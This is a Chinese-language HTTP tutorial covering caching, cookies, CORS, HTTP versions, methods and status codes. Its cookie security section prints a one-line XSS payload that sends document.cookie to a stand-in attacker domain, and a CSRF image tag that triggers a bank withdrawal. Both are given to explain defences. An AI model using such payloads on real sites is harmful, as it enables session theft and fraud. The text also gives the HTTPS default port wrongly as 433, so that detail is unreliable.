超文本传输协议(HTTP)是一个用于传输超媒体文档(例如 HTML)的应用层协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。
HTTP 概述
HTTP 是一种能够获取如 HTML 这样的网络资源的 protocol(通讯协议)。它是在 Web 上进行数据交换的基础,是一种 client-server 协议,请求通常由客户端发起。
一个完整的 Web 文档通常是由不同的子文档拼接而成的,包括:
- html
- css
- js
- image
- video
- ...
HTTP 组件系统
客户端(user-agent)
user-agent 就是任何能够为用户发起行为的工具。
- 浏览器
- APP
- 调试程序等
Web 服务端
Web Server 来服务,提供客户端所请求的文档。
- 服务器
- 一组服务器组成的计算机集群
- 虚拟主机等
代理(Proxies)
在浏览器和服务器之间,用于转发 HTTP 消息的计算机或其他设备。
代理的作用:
- 缓存(可以是公开的也可以是私有的,像浏览器的缓存)
- 过滤(像反病毒扫描,家长控制...)
- 负载均衡(让多个服务器服务不同的请求)
- 认证(对不同资源进行权限管理)
- 日志记录(允许存储历史信息)
HTTP 基本性质
- 简单易读:HTTP 报文能够被人读懂,还允许简单测试,降低了门槛
- 可扩展:只要服务端和客户端就新 headers 达成语义一致,新功能就可以被轻松加入进来
- 无状态,有会话:在同一个连接中,两个执行成功的请求之间是没有关系的;使用 HTTP 的头部扩展,把 Cookies 添加到头部中,创建一个会话让每次请求都能共享相同的上下文信息,达成相同的状态
连接
- HTTP 依赖于 TCP 进行消息传递
- HTTP/1.1 使用 keep-alive 实现长连接
- HTTP/2 通过在一个连接复用消息的方式来让这个连接始终保持为暖连接。
HTTP 能控制什么
HTTP 良好的扩展性使得它能控制越来越多的 Web 功能:
- 缓存
- 开放同源限制
- 认证
- 代理和隧道
- 会话
HTTP 流
- 打开一个 TCP 连接
- 发送一个 HTTP 报文
- 读取服务端返回的报文信息
- 关闭连接或者为后续请求重用连接
HTTP 报文
HTTP/1.1 以及更早的 HTTP 协议报文都是语义可读的。在 HTTP/2 中,这些报文被嵌入到了一个新的二进制结构,帧。帧允许实现很多优化,比如报文头部的压缩和复用。
请求报文
- Method:请求方法,GET、POST、HEAD、OPTIONS 等
- Path:要获取的资源的路径
- Version:HTTP 协议版本号
- Headers:头部
- 空行
- Body:请求内容
响应报文
- HTTP 协议版本号。
- 一个状态码(status code),来告知对应请求执行成功或失败,以及失败的原因。
- 一个状态信息,这个信息是非权威的状态码描述信息,可以由服务端自行设定。
- HTTP headers,与请求头部类似。
- 空行
- 可选项,比起请求报文,响应报文中更常见地包含获取的资源 body。
基于 HTTP 的 APIs
- XMLHttpRequest API
- Fetch API
HTTP 缓存
通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP 缓存,变得更加响应性。
缓存技术:
缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。
缓存的作用:
- 缓解服务器压力
- 提升性能
缓存分类:
- 私有缓存;私有缓存只能用于单独用户,如浏览器缓存
- 共享缓存;共享缓存可以被多个用户使用,如 web 代理
缓存操作的目标
缓存的关键主要包括 request method 和目标 URI(一般只有 GET 请求才会被缓存)。常见的缓存案例如下:
- 一个检索请求的成功响应: 对于 GET 请求,响应状态码为:200,则表示为成功。一个包含例如 HTML 文档,图片,或者文件的响应。
- 永久重定向: 响应状态码:301。
- 错误响应: 响应状态码:404 的一个页面。
- 不完全的响应: 响应状态码 206,只返回局部的信息。
- 除了 GET 请求外,如果匹配到作为一个已被定义的 cache 键名的响应。
缓存控制
HTTP/1.1 定义的 Cache-Control 头用来区分对缓存机制的支持情况, 请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。
- 没有缓存(Cache-Control: no-store)
- 缓存但重新验证(Cache-Control: no-cache)
- 公有缓存(Cache-Control: public)
- 私有缓存(Cache-Control: private)
- 过期时间(Cache-Control: max-age=31536000);max-age 表示秒数
- 验证方式(Cache-Control: must-revalidate);使用了"must-revalidate" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。
新鲜度
缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。
由于 HTTP 是 C/S 模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的。
驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的:
- 不会直接被清除或忽略的
- 客户端发起一个请求时,缓存检索到陈旧的资源,附加请求头 If-None-Match,发给目标服务
- 服务器根据 If-None-Match 来检查该资源副本是否是依然还是算新鲜的
- 资源副本是新鲜的,返回 304;过期,返回资源的实体
- 客户端更新缓存时间
缓存验证
缓存验证触发场景:
- 用户点击刷新按钮
- 缓存的响应头信息里含有"Cache-control: must-revalidate”的定义,在浏览的过程中也会触发缓存验证
- 浏览器偏好设置里设置 Advanced->Cache 为强制验证缓存
当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。
校验器:
- 强校验器(ETag),资源请求的响应头里含有 ETag, 客户端可以在后续的请求的头中带上 If-None-Match 头来验证缓存
- 弱校验器(Last-Modified),响应头里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存
HTTP cookies
Cookie 主要用于以下三个方面:
- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
- 个性化设置(如用户自定义设置、主题等)
- 浏览器行为跟踪(如跟踪分析用户行为等)
创建 Cookie
服务器使用 Set-Cookie 响应头部向用户代理(一般是浏览器)发送 Cookie 信息
Set-Cookie: <cookie名>=<cookie值>
服务器通过该头部告知客户端保存 Cookie 信息
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[页面内容]
对该服务器发起的每一次新请求,浏览器都会将之前保存的 Cookie 信息通过 Cookie 请求头部再发送给服务器。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
定义 Cooki 生命周期
Cookie 的生命周期可以通过两种方式定义:
- 会话期 Cookie :不需要指定过期时间(Expires)或者有效期(Max-Age),浏览器关闭之后它会被自动删除。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期 Cookie 也会被保留下来,就好像浏览器从来没有关闭一样,这会导致 Cookie 的生命周期无限期延长。
- 持久性 Cookie:生命周期取决于过期时间(Expires)或有效期(Max-Age)指定的一段时间
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
限制访问 Cookie
有两种方法可以确保 Cookie 被安全发送,并且不会被意外的参与者或脚本访问:Secure 属性和 HttpOnly 属性。
标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,因此可以预防 man-in-the-middle 攻击者的攻击。
JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的 cookie;此类 Cookie 仅作用于服务器
Cookie 的作用域
Domain 和 Path 标识定义了 Cookie 的作用域:即允许 Cookie 应该发送给哪些 URL。
Domain
Domain 指定了哪些主机可以接受 Cookie。如果不指定,默认为 origin,不包含子域名。如果指定了 Domain,则一般包含子域名。
Path
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。
SameSite attribute
- None。浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
- Strict。浏览器将只在访问相同站点时发送 cookie。(在原有 Cookies 的限制条件上的加强,如上文 “Cookie 的作用域” 所述)
- Lax。与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接
Cookie 安全策略
缓解涉及 Cookie 的攻击的方法:
- 使用 HttpOnly 属性可防止通过 JavaScript 访问 cookie 值。
- 用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短,并且 SameSite 属性设置为 Strict 或 Lax。(请参见上方的 SameSite Cookie。)在支持 SameSite 的浏览器中,这样做的作用是确保不与跨域请求一起发送身份验证 cookie,因此,这种请求实际上不会向应用服务器进行身份验证。
会话劫持和 XSS
在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 XSS (en-US) 攻击。
new Image().src =
'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie
HttpOnly 类型的 Cookie 用于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。
跨站请求伪造(CSRF)
比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
<img
src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"
/>
当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。
有一些方法可以阻止此类事件的发生:
- 对用户输入进行过滤来阻止 XSS (en-US);
- 任何敏感操作都需要确认;
- 用于敏感信息的 Cookie 只能拥有较短的生命周期。
跨域资源共享(CORS)
跨源资源共享 (CORS)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其它 origin(域,协议和端口),使得浏览器允许这些 origin 访问加载自己的资源。
跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。
什么情况下需要 CORS
- XMLHttpRequest 或 Fetch APIs 发起的跨源 HTTP 请求
- Web 字体 (CSS 中通过 @font-face 使用跨源字体资源)
- WebGL 贴图
- 使用 drawImage 将 Images/video 画面绘制到 canvas
- 来自图像的 CSS 图形
跨源资源共享机制的工作原理
跨源资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。
另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型 的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证 相关数据)。
预检请求
一个 CORS 预检请求是用于检查服务器是否支持 CORS 即跨域资源共享。
请求首部包括:
- Access-Control-Request-Method
- Access-Control-Request-Headers
- Origin
当需要 CORS 预检的时候,浏览器会自动发出一个预检请求。预检请求示例如下。
请求报文:
OPTIONS /resource/foo
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: origin, x-requested-with
Origin: https://foo.bar.org
响应报文:
HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Access-Control-Allow-Origin: https://foo.bar.org
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
Access-Control-Max-Age: 86400
不触发 CORS 预检请求的条件
若请求 满足所有下述条件不会触发 CORS 预检请求。
请求方法是以下方法之一:
- GET
- HEAD
- POST
首部字段在下列首部字段范围内
- 用户代理自动设置的首部字段(Connection,User-Agent 等)
- Accept
- Accept-Language
- Content-Language
- Content-Type
Content-Type 的值仅限于下列三者之一:
- text/plain
- multipart/form-data
- application/x-www-form-urlencoded
- 请求中的任意 XMLHttpRequest 对象均没有注册任何事件监听器;XMLHttpRequest 对象可以使用 XMLHttpRequest.upload 属性访问
- 请求中没有使用 ReadableStream 对象
预检请求重定向
部分浏览器不支持预检请求重定向,会报异常。解决方案如下:
- 在服务端去掉对预检请求的重定向;
- 将实际请求变成一个简单请求(不需要发起预检请求)。
- 先发起一个简单请求,获取重定向后的 url,再向重定向后的 url 发起真正的请求
请求附带身份凭证
一般而言,对于跨源 XMLHttpRequest 或 Fetch 请求,浏览器 不会 发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 或 Fetch 的某个特殊标志位。
示例如下:
1.客户端设置 withCredentials = true,从而向服务器发送 Cookies
const invocation = new XMLHttpRequest()
const url = 'https://bar.other/resources/credentialed-content/'
function callOtherDomain() {
if (invocation) {
invocation.open('GET', url, true)
invocation.withCredentials = true
invocation.onreadystatechange = handler
invocation.send()
}
}
2.服务器设置预检请求和凭据
- 服务器设置 Access-Control-Allow-Credentials: true 来表明可以携带凭据进行实际的请求
- 服务器不能将 Access-Control-Allow-Origin 的值设为通配符“*”,而应将其设置为特定的域,如:Access-Control-Allow-Origin: https://example.com。
- 服务器不能将 Access-Control-Allow-Headers 的值设为通配符“*”,而应将其设置为首部名称的列表,如:Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
- 服务器不能将 Access-Control-Allow-Methods 的值设为通配符“*”,而应将其设置为特定请求方法名称的列表,如:Access-Control-Allow-Methods: POST, GET
HTTP 发展
HTTP/0.9 – 单行协议
最初版本的 HTTP 协议并没有版本号,后来它的版本号被定位在 0.9 以区分后来的版本。
HTTP/0.9 极其简单:请求由单行指令构成,以唯一可用方法 GET 开头,其后跟目标资源的路径(一旦连接到服务器,协议、服务器、端口号这些都不是必须的)。
GET /mypage.html
响应也极其简单的:只包含响应文档本身。
<HTML>
这是一个非常简单的 HTML 页面
</HTML>
HTTP/1.0 – 构建可扩展性
HTTP/1.0 1996 年 11 月发布
- 协议版本信息现在会随着每个请求发送(HTTP/1.0 被追加到了 GET 行)。
- 状态码会在响应开始时发送,使浏览器能了解请求执行成功或失败,并相应调整行为(如更新或使用本地缓存)。
- 引入了 HTTP 头的概念,无论是对于请求还是响应,允许传输元数据,使协议变得非常灵活,更具扩展性。
- 在新 HTTP 头的帮助下,具备了传输除纯文本 HTML 文件以外其他类型文档的能力(凭借 Content-Type 头)。
HTTP/1.1 – 标准化的协议
在 1997 年初,HTTP1.1 标准发布
- 连接可以复用,节省了多次打开 TCP 连接加载网页文档资源的时间。
- 增加管线化技术,允许在第一个应答被完全发送之前就发送第二个请求,以降低通信延迟。
- 支持响应分块。
- 引入额外的缓存控制机制。
- 引入内容协商机制,包括语言,编码,类型等,并允许客户端和服务器之间约定以最合适的内容进行交换。
- 凭借 Host 头,能够使不同域名配置在同一个 IP 地址的服务器上。
HTTP 扩展
HTTP 用于安全传输:HTTP 基础上创建额外的加密传输层 SSL,SSL 在标准化道路上最终成为 TLS
HTTP 用于复杂应用:
- RESTful API
- Server-sent events,服务器可以偶尔推送消息到浏览器。
- WebSocket,一个新协议,可以通过升级现有 HTTP 协议来建立。
HTTP/2 - 为了更优异的表现
在 2015 年 5 月正式标准化发布
HTTP/2 在 HTTP/1.1 有几处基本的不同:
- HTTP/2 是二进制协议而不是文本协议。不再可读,也不可无障碍的手动创建,改善的优化技术现在可被实施。
- 这是一个复用协议。并行的请求能在同一个链接中处理,移除了 HTTP/1.x 中顺序和阻塞的约束。
- 压缩了 headers。因为 headers 在一系列请求中常常是相似的,其移除了重复和传输重复数据的成本。
- 其允许服务器在客户端缓存中填充数据,通过一个叫服务器推送的机制来提前请求。
HTTP 消息
HTTP 消息是服务器和客户端之间交换数据的方式。有两种类型的消息︰
- 请求(requests)-- 由客户端发送用来触发一个服务器上的动作;
- 响应(responses)-- 来自服务器的应答。
HTTP 请求和响应具有相似的结构,由以下部分组成︰
- 一行起始行用于描述要执行的请求,或者是对应的状态,成功或失败。这个起始行总是单行的。
- 一个可选的 HTTP 头集合指明请求或描述消息正文。
- 一个空行指示所有关于请求的元数据已经发送完毕。
- 一个可选的包含请求相关数据的正文 (比如 HTML 表单内容), 或者响应相关的文档。 正文的大小有起始行的 HTTP 头来指定。
典型的 HTTP 会话
会话分为三个阶段:
- 客户端建立一条 TCP 连接(如果传输层不是 TCP,也可以是其他适合的连接)。
- 客户端发送请求并等待应答。
- 服务器处理请求并送回应答,回应包括一个状态码和对应的数据。
建立连接
在客户端 - 服务器协议中,连接是由客户端发起建立的。在 HTTP 中打开连接意味着在底层传输层启动连接,通常是 TCP。
- http 默认端口号是 80
- https 默认端口号是 433
客户端请求结构
- 第一行包括请求方法及请求参数:文档路径,不包括协议和域名的绝对路径 URL;使用的 HTTP 协议版本
- 接下来的行每一行都表示一个 HTTP 首部,为服务器提供关于所需数据的信息(例如语言,或 MIME 类型),或是一些改变请求行为的数据(例如当数据已经被缓存,就不再应答)。这些 HTTP 首部组成以一个空行结束的一个块。
- 最后一块是可选数据块,包含更多数据,主要被 POST 方法所使用。
服务器响应结构
- 第一行是 状态行,包括使用的 HTTP 协议版本,状态码和一个状态描述(可读描述文本)。
- 接下来每一行都表示一个 HTTP 首部,为客户端提供关于所发送数据的一些信息(如类型,数据大小,使用的压缩算法,缓存指示)。与客户端请求的头部块类似,这些 HTTP 首部组成一个块,并以一个空行结束。
- 最后一块是数据块,包含了响应的数据(如果有的话)。
HTTP/1.x 的连接管理
HTTP/1.x 里有多种模型:
- 短连接
- 长连接
- HTTP 流水线
短连接
HTTP 最早期的模型,也是 HTTP/1.0 的默认模型,是短连接。
每一个 HTTP 请求都由它自己独立的连接完成;这意味着发起每一个 HTTP 请求之前都会有一次 TCP 握手,而且是连续不断的。
TCP 协议握手本身就是耗费时间的,所以 TCP 可以保持更多的热连接来适应负载。短连接破坏了 TCP 具备的能力,新的冷连接降低了其性能。
长连接
长连接 的概念便被设计出来了,主要为了解决短连接的两个问题:
- 创建新连接耗费时间
- TCP 连接的性能只有在该连接被使用一段时间后 (热连接) 才能得到改善
一个长连接会保持一段时间,重复用于发送一系列请求,节省了新建 TCP 连接握手的时间,还可以利用 TCP 的性能增强能力。当然这个连接也不会一直保留着:连接在空闲一段时间后会被关闭 (服务器可以使用 Keep-Alive 协议头来指定一个最小的连接保持时间)。
长连接的缺点:
- 在空闲状态,会消耗服务器资源
- 在重负载时,还可能遭受 DoS attacks 攻击
HTTP/1.0 里默认并不使用长连接。把 Connection 设置成 close 以外的其它参数都可以让其保持长连接,通常会设置为 retry-after。
在 HTTP/1.1 里,默认就是长连接的,协议头都不用再去声明它 (但我们还是会把它加上,万一某个时候因为某种原因要退回到 HTTP/1.0 呢)。
HTTP 流水线
默认情况下,HTTP 请求是按顺序发出的。下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。
流水线是在同一条长连接上发出连续的请求,而不用等待应答返回。这样可以避免连接延迟。理论上讲,性能还会因为两个 HTTP 请求有可能被打包到一个 TCP 消息包中而得到提升。就算 HTTP 请求不断的继续,尺寸会增加,但设置 TCP 的 MSS(Maximum Segment Size) 选项,仍然足够包含一系列简单的请求。
并不是所有类型的 HTTP 请求都能用到流水线:只有 idempotent 方式,比如 GET、HEAD、PUT 和 DELETE 能够被安全的重试:如果有故障发生时,流水线的内容要能被轻易的重试。
HTTP 请求方法
- GET 方法请求一个指定资源的表示形式,使用 GET 的请求应该只被用于获取数据。
- HEAD 方法请求一个与 GET 请求的响应相同的响应,但没有响应体。
- POST 方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用。
- PUT 方法用请求有效载荷替换目标资源的所有当前表示。
- DELETE 方法删除指定的资源。
- CONNECT 方法建立一个到由目标资源标识的服务器的隧道。
- OPTIONS 方法用于描述目标资源的通信选项。
- TRACE 方法沿着到目标资源的路径执行一个消息环回测试。
- PATCH 方法用于对资源应用部分修改。
HTTP 响应状态码
HTTP 响应状态码用来表明特定 HTTP 请求是否成功完成。 响应被归为以下五大类:
- 信息响应 (100–199)
- 成功响应 (200–299)
- 重定向消息 (300–399)
- 客户端错误响应 (400–499)
- 服务端错误响应 (500–599)
信息响应
status | message | 描述 |
---|---|---|
100 | Continue | 这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。 |
101 | Switching Protocols | 该代码是响应客户端的 Upgrade (en-US) 请求头发送的, 指明服务器即将切换的协议。 |
102 | Processing (WebDAV) | 此代码表示服务器已收到并正在处理该请求,但当前没有响应可用。 |
103 | Early Hints | 此状态代码主要用于与 Link 链接头一起使用,以允许用户代理在服务器准备响应阶段时开始预加载 preloading 资源。 |
成功响应
status | message | 描述 |
---|---|---|
200 | OK | 请求成功。成功的含义取决于 HTTP 方法: GET: 资源已被提取并在消息正文中传 HEAD: 实体标头位于消息正文中。 PUT or POST: 描述动作结果的资源在消息体中传输。 TRACE: 消息正文包含服务器收到的请求消息。 |
201 | Created | 该请求已成功,并因此创建了一个新的资源。这通常是在 POST 请求,或是某些 PUT 请求之后返回的响应。 |
202 | Accepted | 请求已经接收到,但还未响应,没有结果。意味着不会有一个异步的响应去表明当前请求的结果,预期另外的进程和服务去处理请求,或者批处理。 |
203 | Non-Authoritative Information | 服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超集。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回 200 OK 的情况下才是合适的。 |
204 | No Content | 对于该请求没有的内容可发送,但头部字段可能有用。用户代理可能会用此时请求头部信息来更新原来资源的头部缓存字段。 |
205 | Reset Content | 告诉用户代理重置发送此请求的文档。 |
206 | Partial Content | 当从客户端发送 Range 范围标头以只请求资源的一部分时,将使用此响应代码。 |
207 | Multi-Status (WebDAV) | 对于多个状态代码都可能合适的情况,传输有关多个资源的信息。 |
208 | Already Reported (WebDAV) | 在 DAV 里面使用 <dav:propstat> 响应元素以避免重复枚举多个绑定的内部成员到同一个集合。 |
226 | IM Used (HTTP Delta encoding) | 服务器已经完成了对资源的 GET 请求,并且响应是对当前实例应用的一个或多个实例操作结果的表示。 |
重定向消息
status | message | 描述 |
---|---|---|
300 | Multiple Choice | 请求拥有不只一个的可能响应。用户带来或者用户应当从中选择一个。 (没有标准化的方法来选择其中一个响应,但是建议使用指向可能性的 HTML 链接,以便用户可以选择。) |
301 | Moved Permanently | 请求资源的 URL 已永久更改。在响应中给出了新的 URL。 |
302 | Found | 此响应代码表示所请求资源的 URI 已 暂时 更改。未来可能会对 URI 进行进一步的改变。因此,客户机应该在将来的请求中使用这个相同的 URI。 |
303 | See Other | 服务器发送此响应,以指示客户端通过一个 GET 请求在另一个 URI 中获取所请求的资源。 |
304 | Not Modified | 这是用于缓存的目的。它告诉客户端响应还没有被修改,因此客户端可以继续使用相同的缓存版本的响应。 |
305 | Use Proxy Deprecated | 在 HTTP 规范中定义,以指示请求的响应必须被代理访问。由于对代理的带内配置的安全考虑,它已被弃用。 |
306 | unused | 此响应代码不再使用;它只是保留。它曾在 HTTP/1.1 规范的早期版本中使用过。 |
307 | Temporary Redirect | 服务器发送此响应,以指示客户端使用在前一个请求中使用的相同方法在另一个 URI 上获取所请求的资源。这与 302 Found HTTP 响应代码具有相同的语义,但用户代理 不能 更改所使用的 HTTP 方法:如果在第一个请求中使用了 POST,则在第二个请求中必须使用 POST |
308 | Permanent Redirect | 这意味着资源现在永久位于由 Location: HTTP Response 标头指定的另一个 URI。 这与 301 Moved Permanently HTTP 响应代码具有相同的语义,但用户代理不能更改所使用的 HTTP 方法:如果在第一个请求中使用 POST,则必须在第二个请求中使用 POST。 |
客户端错误响应
status | message | 描述 |
---|---|---|
400 | Bad Request | 由于被认为是客户端错误(例如,错误的请求语法、无效的请求消息帧或欺骗性的请求路由),服务器无法或不会处理请求。 |
401 | Unauthorized | 虽然 HTTP 标准指定了"unauthorized",但从语义上来说,这个响应意味着"unauthenticated"。也就是说,客户端必须对自身进行身份验证才能获得请求的响应。 |
402 | Payment Required Experimental | 此响应代码保留供将来使用。创建此代码的最初目的是将其用于数字支付系统,但是此状态代码很少使用,并且不存在标准约定。 |
403 | Forbidden | 客户端没有访问内容的权限;也就是说,它是未经授权的,因此服务器拒绝提供请求的资源。与 401 Unauthorized 不同,服务器知道客户端的身份。 |
404 | Not Found | 服务器找不到请求的资源。在浏览器中,这意味着无法识别 URL。在 API 中,这也可能意味着端点有效,但资源本身不存在。服务器也可以发送此响应,而不是 403 Forbidden,以向未经授权的客户端隐藏资源的存在。这个响应代码可能是最广为人知的,因为它经常出现在网络上。 |
405 | Method Not Allowed | 服务器知道请求方法,但目标资源不支持该方法。例如,API 可能不允许调用 DELETE 来删除资源。 |
406 | Not Acceptable | 当 web 服务器在执行 服务端驱动型内容协商机制](/zh-CN/docs/Web/HTTP/Content_negotiation#服务端驱动型内容协商机制)后,没有发现任何符合用户代理给定标准的内容时,就会发送此响应。 |
407 | Proxy Authentication Required | 类似于 401 Unauthorized 但是认证需要由代理完成。 |
408 | Request Timeout | 此响应由一些服务器在空闲连接上发送,即使客户端之前没有任何请求。这意味着服务器想关闭这个未使用的连接。由于一些浏览器,如 Chrome、Firefox 27+ 或 IE9,使用 HTTP 预连接机制来加速冲浪,所以这种响应被使用得更多。还要注意的是,有些服务器只是关闭了连接而没有发送此消息。 |
409 | Conflict | 当请求与服务器的当前状态冲突时,将发送此响应。 |
410 | Gone | 当请求的内容已从服务器中永久删除且没有转发地址时,将发送此响应。客户端需要删除缓存和指向资源的链接。HTTP 规范打算将此状态代码用于“有限时间的促销服务”。API 不应被迫指出已使用此状态代码删除的资源。 |
411 | Length Required | 服务端拒绝该请求因为 Content-Length 头部字段未定义但是服务端需要它。 |
412 | Precondition Failed | 客户端在其头文件中指出了服务器不满足的先决条件。 |
413 | Payload Too Large | 请求实体大于服务器定义的限制。服务器可能会关闭连接,或在标头字段后返回重试 Retry-After。 |
414 | URI Too Long | 客户端请求的 URI 比服务器愿意接收的长度长。 |
415 | Unsupported Media Type | 服务器不支持请求数据的媒体格式,因此服务器拒绝请求。 |
416 | Range Not Satisfiable | 无法满足请求中 Range 标头字段指定的范围。该范围可能超出了目标 URI 数据的大小。 |
417 | Expectation Failed | 此响应代码表示服务器无法满足 Expect 请求标头字段所指示的期望。 |
418 | I'm a teapot | 服务端拒绝用茶壶煮咖啡。笑话,典故来源茶壶冲泡咖啡 |
421 | Misdirected Request | 请求被定向到无法生成响应的服务器。这可以由未配置为针对请求 URI 中包含的方案和权限组合生成响应的服务器发送。 |
422 | Unprocessable Entity (WebDAV) | 请求格式正确,但由于语义错误而无法遵循。 |
423 | Locked (WebDAV) | 正在访问的资源已锁定。 |
424 | Failed Dependency (WebDAV) | 由于前一个请求失败,请求失败。 |
425 | Too Early Experimental | 表示服务器不愿意冒险处理可能被重播的请求。 |
426 | Upgrade Required | 服务器拒绝使用当前协议执行请求,但在客户端升级到其他协议后可能愿意这样做。 服务端发送带有 Upgrade (en-US) 字段的 426 响应 来表明它所需的协议(们)。 |
428 | Precondition Required | 源服务器要求请求是有条件的。此响应旨在防止'丢失更新'问题,即当第三方修改服务器上的状态时,客户端 GET 获取资源的状态,对其进行修改并将其 PUT 放回服务器,从而导致冲突。 |
429 | Too Many Requests | 用户在给定的时间内发送了太多请求("限制请求速率") |
431 | Request Header Fields Too Large | 服务器不愿意处理请求,因为其头字段太大。在减小请求头字段的大小后,可以重新提交请求。 |
451 | Unavailable For Legal Reasons | 用户代理请求了无法合法提供的资源,例如政府审查的网页。 |
服务端错误响应
status | message | 描述 |
---|---|---|
500 | Internal Server Error | 服务器遇到了不知道如何处理的情况。 |
501 | Not Implemented | 服务器不支持请求方法,因此无法处理。服务器需要支持的唯二方法(因此不能返回此代码)是 GET and HEAD. |
502 | Bad Gateway | 此错误响应表明服务器作为网关需要得到一个处理这个请求的响应,但是得到一个错误的响应。 |
503 | Service Unavailable | 服务器没有准备好处理请求。常见原因是服务器因维护或重载而停机。请注意,与此响应一起,应发送解释问题的用户友好页面。这个响应应该用于临时条件和如果可能的话,HTTP 标头 Retry-After 字段应该包含恢复服务之前的估计时间。网站管理员还必须注意与此响应一起发送的与缓存相关的标头,因为这些临时条件响应通常不应被缓存。 |
504 | Gateway Timeout | 当服务器充当网关且无法及时获得响应时,会给出此错误响应。 |
505 | HTTP Version Not Supported | 服务器不支持请求中使用的 HTTP 版本。 |
506 | Variant Also Negotiates | 服务器存在内部配置错误:所选的变体资源被配置为参与透明内容协商本身,因此不是协商过程中的适当终点。 |
507 | Insufficient Storage (WebDAV) | 无法在资源上执行该方法,因为服务器无法存储成功完成请求所需的表示。 |
508 | Loop Detected (WebDAV) | 服务器在处理请求时检测到无限循环。 |
510 | Not Extended | 服务器需要对请求进行进一步扩展才能完成请求。 |
511 | Network Authentication Required | 指示客户端需要进行身份验证才能获得网络访问权限。 |
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。